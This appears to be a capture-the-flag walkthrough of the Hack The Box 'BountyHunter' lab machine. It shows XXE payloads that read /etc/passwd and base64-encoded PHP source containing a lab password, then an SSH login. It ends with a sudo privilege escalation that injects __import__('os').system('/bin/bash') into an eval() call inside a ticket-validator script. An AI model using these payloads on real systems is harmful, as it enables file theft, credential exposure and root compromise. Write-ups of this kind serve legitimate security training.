Hack-The-Box-walkthrough[bountyhunter]

introduce

OS: Linux
Difficulty: Easy
Points: 20
Release: 24 Jul 2021
IP: 10.10.11.100

  • my htb rank

Enumeration

use nmap as usual

port 80 and 22

looks like we have a form we can submit stuff info

1
http://10.10.11.100/log_submit.php

see burpsuite history

looks like data in this post requests gets encoded base64

1
http://10.10.11.100/resources/README.txt

looks like we should be able to use test acount on the portal and there should be a plaintext password stored somewhere

looks like we have an xxe vulnerability

https://portswigger.net/web-security/xxe

use the following method to generate payload

in the http://10.10.11.100//log_submit.php page:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<bugreport>
<title>&xxe;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>

after some more enumeration we find

let’s try to read the source code for this page

convert the below to base64, then to url encoding

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php">]>
<bugreport>
<title>&xxe;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>

and we receive the following in return

this encoding scheme must be used in order to avoid problematic characters like “+” in the sent package, and the symbols in the returned file cred!

1
admin:m19RoAU0hP41A1sTsq6K

refer to the /etc/passwd file we get before, we ssh into target

1
ssh development@10.10.11.100

and get the user flag

Privesc

1
sudo -l
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
cat /opt/skytrain_inc/ticketValidator.py

def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()

def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue

if x.startswith("__Ticket Code:__"):
code_line = i+1
continue

if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False

def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close

main()

looks like it is looking for a .md file

1
2
3
4
5
6
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()

this .md file needs to contain “# Skytrain Inc” in the first line:

1
2
3
4
5
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue

line two needs to contain “## Ticket to “

1
2
3
4
5
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue

next it’s looking for “Ticket Code:

1
2
3
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue

and here we have a little bit of math:

1
2
3
4
5
6
7
8
9
10
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False

but it looks like we need to have a string that begins with ** and the ticket code must return a remainder of 4 when divided by 7, then we get to eval(); which should allow us to call a system shell:

1
2
3
4
# Skytrain Inc
## Ticket to
__Ticket Code:__
**102+ 10 == 112 and __import__('os').system('/bin/bash') == False
  • note: there is a space after “## Ticket to” string, ortherwise it would appear an error and failed

save it to 111.md, then run:

1
2
3
4
5
sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py


then enter:
/home/development/111.md

now we get root and the root flag:

Summary of knowledge

  • use xxe get ssh creds
  • privesc through root permission /opt/skytrain_inc/ticketValidator.py file

Contact me

  • QQ: 1185151867
  • twitter: https://twitter.com/fdlucifer11
  • github: https://github.com/FDlucifer

I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…